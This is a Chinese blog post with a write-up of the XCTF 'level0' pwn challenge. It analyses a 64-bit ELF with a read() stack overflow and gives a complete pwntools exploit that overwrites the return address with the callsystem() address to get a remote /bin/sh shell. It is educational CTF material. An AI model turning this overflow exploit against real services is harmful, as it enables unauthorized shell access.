首页 > 其他分享 >XCTF-pwn-level0

XCTF-pwn-level0

时间:2023-12-02 19:12:24浏览次数:33  
标签:return 函数 read XCTF level0 callsystem pwn payload

下载改题目提供的文件,使用filechecksec进行分析

该文件是一个64位的ELF可执行文件,而且开启了NX保护机制,不知道其作用如何

使用ida打开,是一道基本的栈溢出

  1. return返回vulnerable_function()方法,继续追踪

  2. 可以看出vulnerable_function()这个方法有return返回了read()方法

  3. 这里可以确定,read()方法会栈溢出,详细可以看我之前的博客:https://www.cnblogs.com/Junglezt/p/17871927.html

  4. 通过ida找到了一个危险函数callsystem()函数,内容位/bin/sh

编写exp

from pwn import *

r = remote("61.147.171.105",55521)

# callsystem函数内存地址
callsystem_addr = 0x400596

# 发送80个垃圾数据,8个saved ebp数据,最后发送callsystem函数内存地址
payload = (b"a" * 0x80) + (b"b" * 8) + p64(callsystem_addr)

# 发送payload
r.send(payload)

# 获取靶机交互式终端
r.interactive()

标签:return,函数,read,XCTF,level0,callsystem,pwn,payload
From: https://www.cnblogs.com/Junglezt/p/17872051.html

相关文章

  • BUUCTF-pwn-rip(第一个栈溢出)
    这两天在学习pwn,在ctfwiki学习了典型的栈溢出,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/在做题目的时候发现buuctf的rip和ctfwiki的示例题目一样,考的都是gets()方法的不限制输入首先,根据ctfwiki的描述,总结栈相关的知识:栈在......
  • Web_XCTF_WriteUp | unserialize3
    题目分析根据题目指向,这题是反序列化漏洞。分析代码:classxctf{public$flag='111';//变量flag初始化为111publicfunction__wakeup(){//“__wakeup”:PHP魔术方法,在序列化后立即被调用exit('badrequests');//输出“badrequests”}?code=......
  • pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕)
    如题,总结一下我目前在pwn中常见的一些绕过,方便以后随时查阅strlen这是检验字符串长度的函数,常见的形式是“当字符串个数>number时,失败”,绕过它其实很简单,在输出的字符串开头加上'\x00',这样strlen就不会检测后续字符串的个数了,就完成了绕过strncmp指定比较size个字符串,有三个参......
  • Misc_XCTF_WriteUp | reverseMe
    题目分析把图片左右反转:提取文字,得到Flag。Flagflag{4f7548f93c7bef1dc6a0542cf04e796e}参考图片转文字在线-图片文字提取-网页OCR文字识别-白描网页版......
  • 【pwn】shellcode revenge --0~9,A~Z字符的shellcode
    查一下保护拖进ida看主要逻辑这里的代码逻辑为mmap开辟一段有执行的地址,可以写入shellcode,但这次写入的shellcode有限制if(buf>90||buf<=47||buf>57&&buf<=64) break;这里的限制shellcode的十六进制数对应的字符只能是0~9,A~Z,这些十六进制数对应的shellcode......
  • Misc_XCTF_WriteUp | János-the-Ripper
    题目分析用记事本打开文件,看见开头有明显的PK,猜测是zip压缩包,且包内有flag的txt文件。用010Editor打开文件,另存为zip压缩文件。解压文件,发现需要密码。用Ziperello进行爆破:得到密码:打开压缩包,得到flag。Flagflag{ev3n::y0u::bru7us?!}......
  • ISCTFpwn的ezpie题解
    目前接触的随机好像都与地址有关,而且还有一个特性也就是只是基址随机,只要有任意一个地址就可以知道其他所有具体地址。(libc和pie保护)这里将通过ezpie这道题介绍绕过pie的一种方式,泄露地址一获取全部地址的方法。本人还不太懂partiallywrite的原理,就不误人子弟了。这里我们看到v5......
  • 2023ISCTFpwn题目:stack题解
    这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字......
  • Misc_XCTF_WriteUp | can_has_stdio?
    题目分析按海星的组成符号来看,应该是brainfuck语言。翻译语言,得到flag:我觉得海星Flagflag{esolangs_for_fun_and_profit}参考CTF中那些脑洞大开的编码和加密-jack_Meng-博客园Brainfuck_Ook!Obfuscation_Encoding[splitbrain.org]......
  • Misc_XCTF_WriteUp | Test-flag-please-ignore
    题目分析因为题目的文件没有扩展名,刚开始还以为里面的编码是什么十六进制文件,查了一圈没找到对应的文件头。重新审视字符串,发现字母最大到f,尝试用十六进制解码,得到flag:Flagflag{hello_world}......